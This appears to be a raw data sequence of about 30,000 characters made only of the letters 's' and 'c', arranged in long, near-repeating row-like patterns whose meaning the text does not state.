s c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c s c c s c c c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c s c c c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c s c c c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c s c c c c s c s c c s c c c s c s c c s c s c s c s c s c s c c c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c s c c c c s c s c c s c c c s c s c c s c s c s c s c s c s c c c s c c s c c s c c s c c c c s c c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c s c c c c s c s c c s c c c c s c c s c c s c c s c s c c c s c c s c c s c c s c c c c s c c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c s c c s c c c c s c c c c s c c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c s c c s c c c c s c c c c s c c s c s c s c c s c c s c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c s c c c c s c c s c s c s c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c s c c c s c s c s c s c s c s c c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c s c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c s c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c s c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c s c s c s c c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c s c c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c s c c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c c c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c s c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c c c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c s c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c s c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c s c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c s c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c s c s c c s c s c c s c s c c s c s c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c c s c c s c s c c s c s c c s c s c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c c s c c s c s c c s c s c c s c s c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c c s c c s c c c s c s c c s c s c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c c c c c c s c c s c c c c s c c c c s c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c s c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c s c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c s c c s c s c c c c s c s c s c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c s c c s c s c c c c s c s c c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c s c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c s c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c s c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c s c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c s c c s c c c c c c s c c c c s c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c s c s c s c s c s c c s c s c s c s c s c s c c c s c c s c c s c s c s c s c s c s c s c s c c c s c s c s c s c c s c c c s c s c c c c c s c c s c c c c s c c s c c s c c c c s c s c s c c c c s c s c c s c c s c s c s c s c c c s c c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c c c c c c s c c c s c c c s c c s c c c c c c s c c c c c c s c c c c s c s c c c c s c c c s c s c c c s c c s c c s c c c s c s c c c 